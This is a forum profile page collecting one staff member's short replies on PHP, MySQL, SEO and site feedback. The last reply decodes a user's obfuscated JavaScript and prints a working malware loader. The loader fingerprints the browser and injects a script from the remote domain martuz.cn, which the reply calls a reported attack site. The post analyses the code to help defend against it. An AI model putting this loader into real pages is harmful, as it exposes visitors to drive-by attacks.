Daniel0
Staff Alumni-
Posts
11,885 -
Joined
-
Last visited
Everything posted by Daniel0
-
Okay? Thanks for letting us know
-
how to create a "Compose Message" interface like facebook compose message
Daniel0 replied to starphp's topic in Miscellaneous
You can create auto-completion by binding a Javascript function to a text fields onkeydown event. Make an AJAX call to a PHP backend that searches for similar usernames, and return that in a format like JSON or XML. Use that data to build the list on the user frontend. I don't know what you're talking about with the "close icon in the selected ids" though. -
suggestion to implement sso within phpfreaks.com
Daniel0 replied to pdkv2's topic in PHPFreaks.com Website Feedback
Write me two functions: 1. A function that detects if there is an active SMF session and returns information about the user. 2. A function that creates an SMF session. You're not allowed to use SMF's APIs because they suck and pollute the global namespace. If someone does that then I'll incorporate it into the code, otherwise I won't bother because I think the benefit is negligible. You're all programmers, right? Surely it'll be no problem. That seems to be the argument people use when they ask us to create custom modifications for the forums anyway. -
Because your question is of legal nature, which has nothing to do with application design. Yes, that would be a TOS.
-
What are the best social bookmarking sites for SEO?
Daniel0 replied to xqxqpo's topic in Miscellaneous
Neither of those are social bookmarking websites though. Social bookmarking websites are places like Digg, StumbleUpon, Reddit, delicious, etc. -
Define "didn't work".
-
Just add another statement: ... WHERE something LIKE '%\_%' AND something NOT LIKE '%main%' ...
-
MySQL has a function called INSTR() actually. SELECT foo FROM bar WHERE INSTR(baz, '_'); I don't know what's faster though.
-
Just download the installer from http://dev.mysql.com/downloads/ and run it. The installing procedure should be fairly straightforward.
-
Wildcards can be used using LIKE. SELECT username, email FROM users WHERE email LIKE '%@gmail.com'; The % is the wildcard here. http://dev.mysql.com/doc/refman/5.0/en/string-comparison-functions.html http://dev.mysql.com/doc/refman/5.0/en/pattern-matching.html
-
Except it should be $_POST['d10'] etc. Why don't you just try it out? Then you'll see if it works or not...
-
Well, you do it the same way on Windows. You just type the command and it executes.
-
You run it from command line.
-
Well, the errors should be pretty self-explanatory, right? The argument you're passing to your tag cloud function isn't an array, but is used as an array within the function.
-
You "get errors"? Okay, now I know exactly what's wrong
-
Well, your function is called printTags(), not printTagCloud().
-
Except in India, the GDP per capita is $2,762 and the GDP per capita in the United States is $46,859. By your book prices, books are more expensive in India than in the United States if you account for the GDP differences. The difference between the US and Indian GDP per capita is 1597%, but the difference in your book prices is only 400%. Naturally books have a higher market price in a country where the population generally has more money, than in a country where you have less money. People who earn a decent salary in India would likely be considered poor if they lived in the US with the same salary. http://en.wikipedia.org/wiki/List_of_countries_by_GDP_%28PPP%29_per_capita I used the left most table. Using the others you would see slightly different figures.
-
You see the very last statement of your code? eval(bhioa) It's evaluating the contents of the variable bhioa. It's simply a matter of printing that variable to get the plain text code. It's no more than obfuscation. A browser needs HTML, CSS and Javascript in plain text, so it's impossible to decrypt it and/or hide it.
-
just need help on converting some code from php5 to php4
Daniel0 replied to farban's topic in PHP Coding Help
In my opinion you can. Any server admin/host that hasn't upgraded a long time is a joke. Tell your client to get a real host, and tell your university's IT department to get a real admin. -
just need help on converting some code from php5 to php4
Daniel0 replied to farban's topic in PHP Coding Help
Sorry, but why would you downgrade to a discontinued version that had its end of life announcement almost two years ago? -
If you want to be sure, then just sign a contract stating you'll own it.
-
SELECT t.test_id, t.score, (SELECT g.grade FROM grading_system AS g WHERE g.min_score <= t.score ORDER BY g.min_score DESC LIMIT 1) AS grade FROM tests AS t;
-
Try to run an EXPLAIN on your query.
-
Well, you could just check the code yourself, no? What you posted is equivalent to the following Javascript: var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<script src=//m"+"artuz.cn/vid/?id="+j+"><\/script>");} Applying some formatting we get: var a="ScriptEngine", b="Version()+", j="", u=navigator.userAgent; if ((u.indexOf("Chrome") < 0) && (u.indexOf("Win") > 0) && (u.indexOf("NT 6") < 0) && (document.cookie.indexOf("miek=1") < 0) && (typeof(zrvzts) != typeof("A"))) { zrvzts="A"; eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;"); document.write("<script src=//m"+"artuz.cn/vid/?id="+j+"><\/script>"); } The string within the eval() is this: if(window.ScriptEngine)j=j+ScriptEngineMajorVersion()+ScriptEngineMinorVersion()+ScriptEngineBuildVersion()+j; So it'll set j if some conditions are true, and it will then execute the Javascript which is hosted on http://martuz.cn/vid/?id=j This is seemingly a "reported attack site". The domain name martuz.cn resolves to 98.124.198.1, but that machine doesn't seem to be up.